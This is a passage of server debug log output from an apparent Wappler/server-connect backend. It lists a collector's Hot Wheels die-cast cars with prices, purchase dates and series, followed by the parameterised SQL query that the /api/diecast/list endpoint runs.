      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 91,
      model_name: '20 Jeep Gladiator',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-25T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: "HW Truckin' Along",
      brand_id: 71,
      series_id: 160,
      case: 'A',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 88,
      model_name: 'Chevy Blazer 4X4',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-02T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'P',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 67,
      model_name: 'Kei Swap',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 66,
      model_name: 'Hoto Roto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 65,
      model_name: 'Cruise Bruiser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 64,
      model_name: 'Renault Espace F1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 63,
      model_name: '15 Land Rover Defender Double Cab',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'Q',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 62,
      model_name: '83 Chevy Silverado',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 61,
      model_name: 'RRRoadster',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 60,
      model_name: '2018 Bentley Continental GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'Q',
      vehicle_brand_name: 'Bentley',
      vehicle_brand_id: 125,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 55,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 54,
      model_name: "Drift'n Break",
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 53,
      model_name: 'Lamborghini Huracán Sterrato',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Safari Mode',
      brand_id: 71,
      series_id: 144,
      case: 'Q',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 52,
      model_name: 'Ferrari SF90 Stradale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'Q',
      vehicle_brand_name: 'Ferrari',
      vehicle_brand_id: 124,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 51,
      model_name: 'Volvo 240 Drift Wagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 50,
      model_name: '91 GMC Syclone',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 49,
      model_name: 'Porsche 911 Turbo Cabriolet',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'P',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 48,
      model_name: 'Formula E Gen3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Track Aces',
      brand_id: 71,
      series_id: 146,
      case: 'P',
      vehicle_brand_name: 'Formula',
      vehicle_brand_id: 139,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 47,
      model_name: 'Mazda RX-3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'P',
      vehicle_brand_name: 'Mazda',
      vehicle_brand_id: 137,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 46,
      model_name: 'Silverado EV RST',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'N',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 45,
      model_name: 'GT Shelby GT500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 44,
      model_name: 'Gordon Murray Automotive T.33',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'P',
      vehicle_brand_name: 'Gordon Murray',
      vehicle_brand_id: 138,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 43,
      model_name: 'Jaguar MK1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'M',
      vehicle_brand_name: 'Jaguar',
      vehicle_brand_id: 133,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 42,
      model_name: '73 Pontiac Firebird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'M',
      vehicle_brand_name: 'Pontiac',
      vehicle_brand_id: 134,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 41,
      model_name: '99 Ford F-150 SVT Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 40,
      model_name: " Ford Model A Custom '31",
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 39,
      model_name: '74 Brazilian Dodge Charger - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Celebration Racers',
      brand_id: 71,
      series_id: 98,
      case: 'D',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 38,
      model_name: 'Porsche 904 Carrera GTS',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 37,
      model_name: '71 Lamborghini Miura SV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW 70s vs 90s',
      brand_id: 71,
      series_id: 99,
      case: 'D',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 36,
      model_name: 'EL Segundo Rally',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Track Champs',
      brand_id: 71,
      series_id: 100,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 1,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 35,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'Q',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 34,
      model_name: 'Track Dwagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 33,
      model_name: 'Track Dwagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 32,
      model_name: '20 Dodge Charger Hellcat',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'P',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 31,
      model_name: 'Ravenger S/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 1,
      diecast_images: [Array]
    },
    {
      id: 30,
      model_name: "Custom '56 Ford Truck",
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Celebration Racers',
      brand_id: 71,
      series_id: 98,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 29,
      model_name: '96 Dodge Viper GTS',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-04T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'Q',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 28,
      model_name: '1983 Porsche 928S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'P',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 27,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 26,
      model_name: 'Ferrari 365 GTB4 Competizione',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-08T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'Q',
      vehicle_brand_name: 'Ferrari',
      vehicle_brand_id: 124,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 1,
      photoshoot: 1,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 25,
      model_name: 'Terra-Tracktyl',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Track Champs',
      brand_id: 71,
      series_id: 100,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 24,
      model_name: '2018 Honda Civic Type R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'P',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 23,
      model_name: '95 Mazda RX-7 Drift',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-04T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW 70s vs 90s',
      brand_id: 71,
      series_id: 99,
      case: 'P',
      vehicle_brand_name: 'Mazda',
      vehicle_brand_id: 137,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 22,
      model_name: 'Jaguar XJC V12 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Wide Widebody',
      brand_id: 71,
      series_id: 104,
      case: 'N',
      vehicle_brand_name: 'Jaguar',
      vehicle_brand_id: 133,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 21,
      model_name: '67 Austin Mini Van',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'P',
      vehicle_brand_name: 'Austin',
      vehicle_brand_id: 136,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 20,
      model_name: 'Czinger 21C',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Czinger',
      vehicle_brand_id: 135,
      condition: 'Uncarded',
      yt_short_created: 1,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 19,
      model_name: '70 Dodge Power Wagon - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-08-20T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'C',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-14T05:54:31.749Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-14T05:54:31.750Z server-connect:app Executing action step identify
2026-07-14T05:54:31.750Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:31.750Z server-connect:output identity: 1
2026-07-14T05:54:31.750Z server-connect:app Executing action step restrict
2026-07-14T05:54:31.750Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:54:31.751Z server-connect:output restrict: undefined
2026-07-14T05:54:31.751Z server-connect:app Executing action step paged
2026-07-14T05:54:31.751Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-14T05:54:31.754Z server-connect:output list: {
  offset: 0,
  limit: 100,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
